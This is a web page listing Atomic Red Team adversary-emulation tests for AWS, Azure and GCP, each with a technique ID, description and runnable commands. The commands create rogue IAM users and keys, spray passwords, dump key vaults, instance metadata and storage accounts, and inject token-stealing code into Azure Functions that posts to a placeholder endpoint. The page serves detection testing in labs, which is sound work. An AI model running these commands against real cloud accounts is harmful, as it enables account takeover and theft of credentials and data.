Home/Atomic Tests
Atomic Red Team

Test-plan builder

Find runnable Atomic Red Team test cases for what you want to validate
Pick a technique, platform, or executor - or search by name - and get the executable test cases. Copy a command, run it on the listed platform in a lab, and confirm your detections fire. Pairs with the Detection Blind Spots on each actor page: see a gap, grab the test that exercises it.
filter by technique id in the URL: /atomic?technique=T1059

Matching tests · iaas

45
T1078.004 sh google-workspace, iaas:gcp Creating GCP Service Account and Service Account Key
Cloud Accounts
GCP Service Accounts can be used to gain intial access as well as maintain persistence inside Google Cloud.
gcloud config set project #{project-id}
gcloud iam service-accounts create #{service-account-name}
gcloud iam service-accounts keys create #{output-key-file} --iam-account=#{service-account-email}
T1078.004 powershell iaas:azure Azure Persistence Automation Runbook Created or Modified
Cloud Accounts
Identifies when an Azure Automation runbook is created or modified. An adversary may create or modify an Azure Automation runbook to execute malicious code and maintain persistence in their target's environment.
New-AzAutomationRunbook -Name #{runbook_name} -Type PowerShell -ResourceGroupName #{resource_group} -Description 'my-test-runbook' -AutomationAccountName #{automation_account_name}
T1078.004 sh iaas:gcp GCP - Create Custom IAM Role
Cloud Accounts
This atomic will create a new IAM role. The default role permissions are: IAM Service Account Get. The idea for this Atomic came from a Rule published by the Elastic team. Identifies an Identity and Access Management (IAM) custom role creation in Google Cloud Platform (GCP). Custom roles are user-defined, and allow for the bundling of one or more supported permissions to meet specific needs. Custom roles will not be updated automatically and could lead to privilege creep if not carefully scrutinized. This atomic will create a new IAM role. The default role permissions are: IAM Service Account Get Reference: https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/initial_access_gcp_iam_custom_role_creation.toml
gcloud config set project #{project-id}
gcloud iam roles create #{role-name} --description="#{role-description}" --permissions=#{roles} --project=#{project-id}
T1098 sh iaas:aws AWS - Create a group and add a user to that group
Account Manipulation
Adversaries create AWS group, add users to specific to that group to elevate their privileges to gain more accesss
aws iam create-group --group-name #{username}
aws iam add-user-to-group --user-name #{username} --group-name #{username}
T1098 powershell iaas:azure Azure - adding user to Azure role in subscription
Account Manipulation
The adversaries want to add user to some Azure role, also called Azure resource role. Threat actor may be interested primarily in highly privileged roles, e.g. Owner, Contributor. By default, the role Reader is assigned to user in this test. New-AzRoleAssignment cmdlet could be also use to assign user/service principal to resource, resource group and management group. The account you use to run the PowerShell command must have Microsoft.Authorization/roleAssignments/write (e.g. such as User Access Administrator or Owner) and the Azure Active Directory Graph Directory.Read.All and Microsoft Graph Directory.Read.All permissions. Detection hint - check Operation Name "Create role assignment" in subscriptions Activity Logs.
Import-Module -Name Az.Resources
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzAccount -Credential $Credential

$user = Get-AzADUser | where-object {$_.DisplayName -eq "#{user_principal_name}" -or $_.UserPrincipalName -eq "#{user_principal_name}" }
if ($user -eq $null) { Write-Warning "User not found"; exit }
$subscription = Get-AzSubscription | where-object {$_.Name -eq "#{subscription}"}
if ($subscription -eq $null) { Write-Warning "Subscription not found"; exit }
$role = Get-AzRoleDefinition | where-object {$_.Name -eq "#{role_name}"}
if ($role -eq $null) { Write-Warning "Role not found"; exit }

New-AzRoleAssignment -ObjectId $user.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription
Write-Host "User $($user.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)"
T1098 powershell iaas:azure Azure - adding service principal to Azure role in subscription
Account Manipulation
The adversaries want to add service principal to some Azure role, also called Azure resource role. Threat actor may be interested primarily in highly privileged roles, e.g. Owner, Contributor. By default, the role Reader is assigned to service principal in this test. New-AzRoleAssignment cmdlet could be also use to assign user/service principal to resource, resource group and management group. The account you use to run the PowerShell command must have Microsoft.Authorization/roleAssignments/write (e.g. such as User Access Administrator or Owner) and the Azure Active Directory Graph Directory.Read.All and Microsoft Graph Directory.Read.All permissions. Detection hint - check Operation Name "Create role assignment" in subscriptions Activity Logs.
Import-Module -Name Az.Resources
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzAccount -Credential $Credential

$sp = Get-AzADServicePrincipal | where-object {$_.DisplayName -eq "#{service_principal_name}"}
if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
$subscription = Get-AzSubscription | where-object {$_.Name -eq "#{subscription}"} 
if ($subscription -eq $null) { Write-Warning "Subscription not found"; exit }
$role = Get-AzRoleDefinition | where-object {$_.Name -eq "#{role_name}"}
if ($role -eq $null) { Write-Warning "Role not found"; exit }

New-AzRoleAssignment -ObjectId $sp.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription
Write-Host "Service Principal $($sp.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)"
T1098 sh iaas:gcp GCP - Delete Service Account Key
Account Manipulation
This Atomic will: - Create a service account - Create a service account key, - Store the result of retrieving a single key for that service account as a variable - Pass that variable for deletion - Delete the service account The idea for this Atomic came from a Rule published by the Elastic team. Identifies the deletion of an Identity and Access Management (IAM) service account key in Google Cloud Platform (GCP). Each service account is associated with two sets of public/private RSA key pairs that are used to authenticate. If a key is deleted, the application will no longer be able to access Google Cloud resources using that key. A security best practice is to rotate your service account keys regularly. Reference: https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/impact_gcp_storage_bucket_deleted.toml
gcloud config set project #{project_id}
KEY=`gcloud iam service-accounts keys list --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --format="value(KEY_ID)" --limit=1`
gcloud iam service-accounts keys delete $KEY --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --quiet
T1098.001 sh iaas:aws AWS - Create Access Key and Secret Key
Additional Cloud Credentials
Adversaries create their own new access and secret keys to programatically interact with AWS environment, which is already compromised
aws iam create-access-key --user-name #{username} > "$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds"
cd "$PathToAtomicsFolder/T1098.001/bin/"
./aws_secret.sh
T1110.003 sh iaas:aws AWS - Password Spray an AWS using GoAWSConsoleSpray
Password Spraying
GoAWSConsoleSpray is a tool that can be used to spray AWS IAM Console Credentials in order to identify a valid login for a user account built by WhiteOakSecurity. For more details reagrding the tool, check - https://www.whiteoaksecurity.com/blog/goawsconsolespray-password-spraying-tool/
cd /tmp
git clone git@github.com:WhiteOakSecurity/GoAWSConsoleSpray.git
cd /tmp/GoAWSConsoleSpray
go run main.go GoAWSConsoleSpray -a #{aws_account_id} -u PathToAtomicsFolder/T1110.003/src/aws_users.txt -p PathToAtomicsFolder/T1110.003/src/aws_passwords.txt
T1136.003 sh iaas:aws AWS - Create a new IAM user
Cloud Account
Creates a new IAM user in AWS. Upon successful creation, a new user will be created. Adversaries create new IAM users so that their malicious activity do not interupt the normal functions of the compromised users and can remain undetected for a long time
aws iam create-user --user-name #{username}
T1201 sh iaas:aws Examine AWS Password Policy
Password Policy Discovery
This atomic test will display details about the password policy for the current AWS account.
aws iam get-account-password-policy
T1485 sh iaas:gcp GCP - Delete Bucket
Data Destruction
This Atomic will create a Google Storage Bucket then delete it. The idea for this Atomic came from a Rule published by the Elastic team. Identifies when a Google Cloud Platform (GCP) storage bucket is deleted. An adversary may delete a storage bucket in order to disrupt their target's business operations. This atomic will create a bucket then delete the bucket. Reference: https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/impact_gcp_storage_bucket_deleted.toml
gcloud config set project #{project_id}
gcloud storage buckets delete gs://#{bucket_name}
T1526 powershell iaas:azure Azure - Dump Subscription Data with MicroBurst
Cloud Service Discovery
Upon successful execution, this test will enumerate all resources that are contained within a valid Azure subscription. The resources enumerated will display on screen, as well as several csv files and folders will be output to a specified directory, listing what resources were discovered by the script. See https://dev.to/cheahengsoon/enumerating-subscription-information-with-microburst-35a1
import-module "PathToAtomicsFolder\..\ExternalPayloads\Get-AzDomainInfo.ps1"
$Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password
Connect-AzAccount -Credential $Credential | out-null
Get-AzDomainInfo -folder #{output_directory} -subscription "#{subscription_name}" -verbose
T1526 powershell iaas:aws AWS - Enumerate common cloud services
Cloud Service Discovery
Upon successful execution, this test will enumerate common resources that are contained within a valid AWS account.
Import-Module "PathToAtomicsFolder\T1526\src\AWSDiscovery.ps1"
$access_key = "#{access_key}"
$secret_key = "#{secret_key}"
$session_token = "#{session_token}"
$aws_profile = "#{profile}"
$regions = "#{regions}"
Set-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile
Get-AWSDiscoveryData -Regions $regions -OutputDirectory "#{output_directory}"
Remove-BlankFiles -OutputDirectory "#{output_directory}"
T1526 powershell iaas:azure Azure - Enumerate common cloud services
Cloud Service Discovery
Upon successful execution, this test will enumerate common resources that are contained within a valid Azure subscription.
Import-Module "PathToAtomicsFolder\T1526\src\AzureDiscovery.ps1"
$client_id = "#{client_id}"
$client_secret = "#{client_secret}"
$tenant_id = "#{tenant_id}"
$environment = "#{cloud}"
Set-AzureAuthentication -ClientID $client_id -ClientSecret $client_secret -TenantID $tenant_id -Environment $environment
Get-AzureDiscoveryData -OutputDirectory "#{output_directory}" -Environment $environment
Remove-BlankFiles -OutputDirectory "#{output_directory}"
T1528 powershell iaas:azure Azure - Functions code upload - Functions code injection via Blob upload
Steal Application Access Token
This test injects code into an Azure Function (RCE). Attack idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/ Similar to T1528 "Azure - Functions code upload - Functions code injection to retrieve the Functions identity access token", the depicted code injection scenario tampers the source code of Azure Functions to perform Subscription Privilege Escalation by retrieving the identity access token of an Azure functions instance. In this case, the prepared zip file (underlying package for a Function) is expected to contain the tampered function presented in src/code_to_insert.py. Note that the endpoint https://changeme.net needs to be adapted in your packed function code. Note: - The Azure Function modified in this test must be hosted via Azure Blob storage (Info on storage considerations for Azure Function: https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations). - For Function code upload to Azure Functions that are hosted via Azure Files in a File Share, refer to T1528 "Azure - Functions code upload - Functions code injection to retrieve the Functions identity access token". - The required input fields can be retrieved in a reconnaissance step in test T1619 "Azure - Enumerate Storage Account Objects via Key-based authentication using Azure CLI". The code of function apps may be inspected and prepared from the result of test T1530 "Azure - Dump Azure Storage Account Objects via Azure CLI". Requirements: - The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required. - The EntraID user must have the role "Storage Account Contributor", or a role with similar permissions.
az login    # Log in to Azure CLI

$allowSharedKeyAccess = az storage account show --name "#{storage_account_name}" --query "allowSharedKeyAccess"

if ($allowSharedKeyAccess -eq "false") {    # $allowSharedKeyAccess could be true or null
    Write-Output "Shared key access is disabled for this storage account."
} else {    
    $connectionString = az storage account show-connection-string --name "#{storage_account_name}" --query connectionString --output tsv

    # Download blob for cleanup
    $tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1528_tmp_original_" + "#{blob_name}")
    az storage blob download --connection-string $connectionString --container-name "#{container_name}" --name "#{blob_name}" --file $tmpOriginalFunctionCode --overwrite true

    if ($LASTEXITCODE -eq 0) {
        # Upload new blob version if download of existing blob succeeded
        az storage blob upload --connection-string $connectionString --container-name "#{container_name}" --name "#{blob_name}" --file "#{file_path_blob}" --overwrite true
    } else {
        Write-Output "Download original function code failed."
        exit 1
    }
}
T1528 powershell iaas:azure Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token
Steal Application Access Token
This test injects code into an Azure Function (RCE) to perform Subscription Privilege Escalation by retrieving the identity access token of an Azure functions instance. Attack idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/ Once executed, the "https://changeme" will retrieve the access token when the function app is executed on behalf of the tenant. The function may be triggered manually from authorized people, triggered in regular intervals, or in various other ways. The access token can then be used to perform further attack steps with the permissions that the function app holds (e.g. listening virtual machines). Note: - The Azure Function modified in this test must be hosted via Azure Files in a File Share (Info on storage considerations for Azure Function: https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations). - For Function code upload to Azure Functions that are hosted via Azure Blob storage, refer to T1528 "Azure - Functions code upload - Functions code injection via Blob upload". - The required input fields can be retrieved in a reconnaissance step in test T1619 "Azure - Enumerate Storage Account Objects via Key-based authentication using Azure CLI". The code of function apps may be inspected and prepared from the result of test T1530 "Azure - Dump Azure Storage Account Objects via Azure CLI". - Important: Change the https://changeme.net in code_to_insert_path to a self-controlled endpoint. This endpoint can be hosted e.g. as request bin via Pipedream to display the body of incoming POST requests. - The default injected code to retrieve the access token can be replaced by arbitrary other code. In this case: Replace the code defined in code_to_insert_path Requirements: - The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required. - The EntraID user must have the role "Storage Account Contributor", or a role with similar permissions. Execution options: Defined by the input field execution_option - insert_code: This option (1) downloads the existing funciton code into a tmp file, (2) injects the code from code_to_insert_path at the beginning of the file, and (3) uploads the tampered file to the targeted Azure Function code (Azure File Share File). - replace_file: This option uploads the function code defined in code_to_insert_path to the targeted Azure Function code (Azure File Share File).
az login    # Log in to Azure CLI

$allowSharedKeyAccess = az storage account show --name "#{storage_account_name}" --query "allowSharedKeyAccess"

if ($allowSharedKeyAccess -eq "false") {    # $allowSharedKeyAccess could be true or null
    Write-Output "Shared key access is disabled for this storage account."
} else {
    # Download file for cleanup
    $tmpOriginalFileName = [System.IO.Path]::GetFileName("#{file_path}")
    $tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1528_tmp_original_" + $tmpOriginalFileName)
    az storage file download --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --only-show-errors --dest $tmpOriginalFunctionCode

    if ($LASTEXITCODE -eq 0) {
        # Upload new funciton code if download of existing code succeeded
        if ("#{execution_option}" -eq "insert_code") {
            # Download file from file share for injection
            $tmpFunctionCode = Join-Path $env:temp/ ("T1528_tmp_to_inject_" + $tmpOriginalFileName)
            az storage file download --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --only-show-errors --dest $tmpFunctionCode
            
            if ($LASTEXITCODE -ne 0) {
                Write-Output "Function code download failed."
                exit 1
            }
            Write-Output "File downloaded: $($tmpFunctionCode)"
            
            $insertContent = Get-Content -Path "#{code_to_insert_path}" -Raw  # Load the content of the insert file
            
            $content = Get-Content -Path $tmpFunctionCode -Raw  # Inject code to file
            $content = $insertContent + "`n" + $content     # Insert the new code at the beginning
            $content | Set-Content -Path $tmpFunctionCode       # Write the modified content to the file
            
            # Upload file to file share
            az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source $tmpFunctionCode --only-show-errors
            if ($LASTEXITCODE -ne 0) {
                Write-Output "Function code upload failed."
                exit 1
            }
            Write-Output "Uploaded the tampered file"
        } elseif ("#{execution_option}" -eq "replace_file") {
            az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source "#{code_to_insert_path}" --only-show-errors
            if ($LASTEXITCODE -ne 0) {
                Write-Output "Function code upload failed."
                exit 1
            }
            Write-Output "Uploaded the tampered file"
        } else {
            Write-Output "Please choose a valid execution_option"
            exit 1
        }
    } else {
        Write-Output "Download original function code failed."
        exit 1
    }
}
T1530 sh iaas:aws AWS - Scan for Anonymous Access to S3
Data from Cloud Storage
Upon successful execution, this test will test for anonymous access to AWS S3 buckets and dumps all the files to a local folder.
aws --no-sign-request s3 cp --recursive s3://#{s3_bucket_name} /tmp/#{s3_bucket_name}
T1530 powershell iaas:azure Azure - Dump Azure Storage Account Objects via Azure CLI
Data from Cloud Storage
This test dumps the content of the storage account objects present in the file defined in file_shares_csv_file_path. Note that this file is created in the atomic test T1619 "Azure - Enumerate Storage Account Objects via Key-based authentication using Azure CLI". When created manually, it must contain the columns "ResourceGroup","StorageAccountName", "FileShareName", "ContainerName", "BlobName". Requirements: - The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required. - The EntraID user must have the role "Storage Account Contributor", or a role with similar permissions.
$storage_account_objects = Import-Csv -Path "#{storage_account_objects_csv_file_path}"

# Login to Azure
az login

if (-not (Test-Path -Path "#{output_folder}")) {
    New-Item -ItemType Directory -Path "#{output_folder}"
}

foreach ($row in $storage_account_objects) {
    
    if ($row.FileShareName -ne ""){
        $allowSharedKeyAccess = az storage account show --name $row.StorageAccountName --resource-group $row.ResourceGroup --query "allowSharedKeyAccess"

        if ($allowSharedKeyAccess -eq "false") {    # $allowSharedKeyAccess could be true or null
            Write-Output "Shared key access is disabled for this storage account."
        } else {
            Write-Output "Fetching content from file share: $($row.FileShareName) in storage account $($row.StorageAccountName) ..."
            $connectionString = az storage account show-connection-string --name $row.StorageAccountName --resource-group $row.ResourceGroup --query connectionString --output tsv
            
            # Create folder for storage account objects
            $storageAccountOutputPath = Join-Path #{output_folder} "$($row.ResourceGroup)_$($row.StorageAccountName)"
            if (-not (Test-Path -Path $storageAccountOutputPath)) {
                New-Item -ItemType Directory -Path $storageAccountOutputPath
            }

            # create folder for file share content
            $fileSharePath = Join-Path -Path $storageAccountOutputPath $row.FileShareName
            if (-not (Test-Path -Path $fileSharePath)) {
                New-Item -ItemType Directory -Path $fileSharePath
            }
            az storage file download-batch --connection-string $connectionString --source $row.FileShareName --destination $fileSharePath
        }
    } elseif ($row.ContainerName -ne "" -and $row.BlobName -eq "") {
        $allowSharedKeyAccess = az storage account show --name $row.StorageAccountName --resource-group $row.ResourceGroup --query "allowSharedKeyAccess"

        if ($allowSharedKeyAccess -eq "false") {    # $allowSharedKeyAccess could be true or null
            Write-Output "Shared key access is disabled for this storage account."
        } else {
            Write-Output "Fetching all blobs from container $($row.ContainerName) in storage account $($row.StorageAccountName) ..."
            $connectionString = az storage account show-connection-string --name $row.StorageAccountName --resource-group $row.ResourceGroup --query connectionString --output tsv
            
            # Create folder for storage account objects
            $storageAccountOutputPath = Join-Path #{output_folder} "$($row.ResourceGroup)_$($row.StorageAccountName)"
            if (-not (Test-Path -Path $storageAccountOutputPath)) {
                New-Item -ItemType Directory -Path $storageAccountOutputPath
            }

            # create folder for blob content
            $containerFolderPath = Join-Path $storageAccountOutputPath $row.ContainerName
            if (-not (Test-Path -Path $containerFolderPath)) {
                New-Item -ItemType Directory -Path $containerFolderPath
            }
            az storage blob download-batch --destination $containerFolderPath --source $row.ContainerName --connection-string $connectionString
        }
    }
}
T1552 sh linux, macos, iaas:aws AWS - Retrieve EC2 Password Data using stratus
Unsecured Credentials
This atomic runs an API call GetPasswordData from a role that does not have permission to do so. This simulates an attacker attempting to retrieve RDP passwords on a high number of Windows EC2 instances. This atomic test leverages a tool called stratus-red-team built by DataDog (https://github.com/DataDog/stratus-red-team). Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.credential-access.ec2-get-password-data/
export AWS_REGION=#{aws_region} 
cd #{stratus_path}
echo "starting warmup"
./stratus warmup aws.credential-access.ec2-get-password-data
echo "starting detonate"
./stratus detonate aws.credential-access.ec2-get-password-data --force
T1552.005 powershell iaas:azure Azure - Dump Azure Instance Metadata from Virtual Machines
Cloud Instance Metadata API
This test invokes a web request to the default Instance Metadata API of 169.254.169.254 in order to dump the data contained within it to a file. See: https://www.sans.org/blog/cloud-instance-metadata-services-imds-/
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64 > #{output_file}
T1555.006 powershell elevated iaas:azure Azure - Dump All Azure Key Vaults with Microburst
Cloud Secrets Management Stores
Upon successful execution of this test, the names, locations, and contents of key vaults within an Azure account will be output to a file. See - https://www.netspi.com/blog/technical/cloud-penetration-testing/a-beginners-guide-to-gathering-azure-passwords/
import-module "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"
$Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password
Connect-AzureRmAccount -Credential $Credential
Get-AzurePasswords -subscription '#{subscription_id}' > #{output_file}
cat #{output_file}
T1578.001 sh iaas:aws AWS - Create Snapshot from EBS Volume
Create Snapshot
Creates an EBS snapshot in AWS using the AWS CLI. This simulates an adversary duplicating volume data via snapshots for persistence or exfiltration.
aws ec2 create-snapshot --region #{aws_region} --volume-id #{aws_volume_id} --description "Atomic Red Team Test Snapshot" --query "SnapshotId" --output text
T1578.001 sh iaas:azure Azure - Create Snapshot from Managed Disk
Create Snapshot
Creates a snapshot of a managed disk in Azure using the Azure CLI. Simulates adversary snapshotting behavior for persistence or data duplication.
az snapshot create --resource-group #{azure_resource_group} --name #{azure_snapshot_name} --source #{azure_disk_name} --location eastus
T1578.001 sh iaas:gcp GCP - Create Snapshot from Persistent Disk
Create Snapshot
Creates a snapshot of a persistent disk in GCP using the gcloud CLI. Emulates adversary behavior to gain access to volume data or replicate environment state.
gcloud compute snapshots create #{gcp_snapshot_name} --source-disk=#{gcp_disk_name} --zone=#{gcp_zone}
T1578.002 sh iaas:aws, linux Create EC2 Instance from Launch Template
Create Cloud Instance
Creating and launching an instance using RunInstances, with a launch template. This launch template will contain all the necessary parameters for the instance. Reference for the launch templates https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/create-launch-template.html https://docs.aws.amazon.com/cli/latest/reference/ec2/run-instances.html#examples
aws ec2 create-launch-template \
  --launch-template-name #{template_name} \
  --version-description #{version} \
  --tag-specifications 'ResourceType=launch-template,Tags=[{Key=purpose,Value=production}]' \
  --launch-template-data file://template.json

aws ec2 run-instances --image-id #{ami_id} --instance-type #{instance_type} \
  --region #{aws_region} --profile #{profile_name}
T1578.002 sh iaas:aws, linux Create EC2 Instance with user data
Create Cloud Instance
Creates an EC2 instance with a keypair while passing user data in a script. The script runs at launch.
printf '%s\n' '#!/bin/bash' 'date -u > /var/tmp/userdata-ran.txt' > my_script.txt
aws ec2 run-instances \
  --image-id #{ami_id} \
  --instance-type #{instance_type} \
  --count 1 \
  --subnet-id subnet-XXXXXXXXXXXXXXX \
  --key-name MyKeyPair \
  --user-data file://my_script.txt
T1580 sh linux, macos, iaas:aws AWS - EC2 Enumeration from Cloud Instance
Cloud Infrastructure Discovery
This atomic runs several API calls (sts:GetCallerIdentity, s3:ListBuckets, iam:GetAccountSummary, iam:ListRoles, iam:ListUsers, iam:GetAccountAuthorizationDetails, ec2:DescribeSnapshots, cloudtrail:DescribeTrails, guardduty:ListDetectors) from the context of an EC2 instance role. This simulates an attacker compromising an EC2 instance and running initial discovery commands on it. This atomic test leverages a tool called stratus-red-team built by DataDog (https://github.com/DataDog/stratus-red-team). Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.discovery.ec2-enumerate-from-instance/
export AWS_REGION=#{aws_region}
cd #{stratus_path}
echo "Stratus: Start Warmup."
./stratus warmup aws.discovery.ec2-enumerate-from-instance
echo "Stratus: Start Detonate."
./stratus detonate aws.discovery.ec2-enumerate-from-instance
T1580 command_prompt iaas:aws AWS - EC2 Security Group Enumeration
Cloud Infrastructure Discovery
Simulate an attacker's action to enumerate EC2 Security Groups in a compromised AWS environment.
aws ec2 describe-security-groups --profile #{aws_profile} --output #{output_format}
T1619 sh iaas:aws AWS S3 Enumeration
Cloud Storage Object Discovery
This test will enumerate all the S3 buckets in the user account and lists all the files in each bucket.
for bucket in "$(aws s3 ls | cut -d " " -f3)"; do aws s3api list-objects-v2 --bucket $bucket --output text; done
T1619 powershell iaas:azure Azure - Enumerate Storage Account Objects via Shared Key authorization using Azure CLI
Cloud Storage Object Discovery
This test enumerates all existing storage accounts and tries to fetch for each account the contained storage account objects. The access to storage objects is only possible if Shared Key authorization is enabled (e.g this is the case per default for storage objects creaded by Azure Function Apps). Requirements: - The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required. - The EntraID user must have the role "Storage Account Contributor", or a role with similar permissions. Output format: Csv file that contains the found storage account objects - Columns: ResourceGroup, StorageAccountName, FileShareName, ContainerName, BlobName, TableName, QueueName - The content of these columns is filled out depending on the object. Not-required columns are left empt. Example: For a blob object the ResourceGroup, StorageAccountName, ContainerName, BlobName are filled out, the other fields are left empty.
az login    # Login to Azure

# Get all storage accounts in the subscription
$storageAccounts = az storage account list --query "[].{name:name, resourceGroup:resourceGroup}" --output json | ConvertFrom-Json

$storageAccountObjects = @()
$downloadedFunctionFiles = @()

foreach ($account in $storageAccounts) {
    Write-Output "`nFound storage account $($account.name)"

    $storageAccountObjects += [PSCustomObject]@{
        ResourceGroup      = $account.resourceGroup
        StorageAccountName = $account.name
        FileShareName      = ""
        ContainerName      = ""
        BlobName           = ""
        TableName          = ""
        QueueName          = ""
    }

    $allowSharedKeyAccess = az storage account show --name $account.name --resource-group $account.resourceGroup --query "allowSharedKeyAccess"
    
    if ($allowSharedKeyAccess -eq "false") {    # $allowSharedKeyAccess could be true or null
        Write-Output "Shared key access is disabled for this storage account."
    } else {
        $connectionString = az storage account show-connection-string --name $account.name --resource-group $account.resourceGroup --query connectionString --output tsv
        
        $fileShares = az storage share list --connection-string $connectionString --query "[].name" --output json | ConvertFrom-Json
        foreach($fileShare in $fileShares) {
            Write-Output "Found file share: $($fileShare)"
            $storageAccountObjects += [PSCustomObject]@{
                ResourceGroup      = $account.resourceGroup
                StorageAccountName = $account.name
                FileShareName      = $fileShare
                ContainerName      = ""
                BlobName           = ""
                TableName          = ""
                QueueName          = ""
            }
        }

        $containers = az storage container list --connection-string $connectionString --query "[].name" --output json | ConvertFrom-Json
        foreach($container in $containers) {
            Write-Output "Found container: $($container)"
            $storageAccountObjects += [PSCustomObject]@{
                ResourceGroup      = $account.resourceGroup
                StorageAccountName = $account.name
                FileShareName      = ""
                ContainerName      = $container
                BlobName           = ""
                TableName          = ""
                QueueName          = ""
            }

            $blobs = az storage blob list --connection-string $connectionString --container-name $container --query "[].name" --output json | ConvertFrom-Json

            foreach($blob in $blobs) {
                Write-Output "Found blob: $($blob)"
                $storageAccountObjects += [PSCustomObject]@{
                    ResourceGroup      = $account.resourceGroup
                    StorageAccountName = $account.name
                    FileShareName      = ""
                    ContainerName      = $container
                    BlobName           = $blob
                    TableName          = ""
                    QueueName          = ""
                }
            }
        }
        
        $tables = az storage table list --connection-string $connectionString --query "[].name" --output json | ConvertFrom-Json
        foreach($table in $tables) {
            Write-Output "Found table: $($table)"
            $storageAccountObjects += [PSCustomObject]@{
                ResourceGroup      = $account.resourceGroup
                StorageAccountName = $account.name
                FileShareName      = ""
                ContainerName      = ""
                BlobName           = ""
                TableName          = $table
                QueueName          = ""
            }
        }
        
        $queues = az storage queue list --connection-string $connectionString --query "[].name" --output json | ConvertFrom-Json
        foreach($queue in $queues) {
            Write-Output "Found table: $($table)"
            $storageAccountObjects += [PSCustomObject]@{
                ResourceGroup      = $account.resourceGroup
                StorageAccountName = $account.name
                FileShareName      = ""
                ContainerName      = ""
                BlobName           = ""
                TableName          = ""
                QueueName          = $queue
            }
        }
    }
}

# Store file lists to csv file
$storageAccountObjects | Export-Csv -Path "#{output_file}" -NoTypeInformation
Write-Output "`nDownloaded storage account objects to #{output_file}"

# Print lists that have been stored as csv file
$storageAccountObjects | Format-Table -Property ResourceGroup, StorageAccountName, FileShareName, ContainerName, BlobName, TableName, QueueName -AutoSize -Wrap
T1619 powershell iaas:azure Azure - Scan for Anonymous Access to Azure Storage (Powershell)
Cloud Storage Object Discovery
Upon successful execution, this test will test for anonymous access to Azure storage containers by invoking a web request and outputting the results to a file. The corresponding response could then be interpreted to determine whether or not the resource/container exists, as well as other information. See https://ninocrudele.com/the-three-most-effective-and-dangerous-cyberattacks-to-azure-and-countermeasures-part-2-attack-the-azure-storage-service
try{$response = invoke-webrequest "https://#{base_name}.blob.core.windows.net/#{container_name}/#{blob_name}" -method "GET"}
catch [system.net.webexception]
{if($_.Exception.Response -ne $null)
{$Response = $_.Exception.Response.GetResponseStream()
$ReadResponse = New-Object System.IO.StreamReader($Response)
$ReadResponse.BaseStream.Position = 0
$responseBody = $ReadResponse.ReadToEnd()}
else {$responseBody = "The storage account could not be anonymously accessed."}}
"Response received for #{base_name}.blob.core.windows.net/#{container_name}/#{blob_name}: $responsebody" | out-file -filepath #{output_file} -append
T1619 powershell iaas:azure Azure - Enumerate Azure Blobs with MicroBurst
Cloud Storage Object Discovery
Upon successful execution, this test will utilize a wordlist to enumerate the public facing containers and blobs of a specified Azure storage account. See https://www.netspi.com/blog/technical/cloud-penetration-testing/anonymously-enumerating-azure-file-resources/ .
import-module "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"
Invoke-EnumerateAzureBlobs -base #{base} -permutations "#{wordlist}" -outputfile "#{output_file}"
T1648 powershell iaas:aws Lambda Function Hijack
Serverless Execution
Modify an existing Lambda function to execute arbitrary code.
Import-Module "PathToAtomicsFolder/T1648/src/T1648-1/LambdaAttack.ps1" -Force
$access_key = "#{access_key}"
$secret_key = "#{secret_key}"
$session_token = "#{session_token}"
$aws_profile = "#{profile}"
$region = "#{region}"
Set-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile -AWSRegion $region
Invoke-Terraform -TerraformCommand init -TerraformDirectory "PathToAtomicsFolder/T1648/src/T1648-1"
Invoke-Terraform -TerraformCommand apply -TerraformDirectory "PathToAtomicsFolder/T1648/src/T1648-1" -TerraformVariables @("profile=T1648-1", "region=$region")
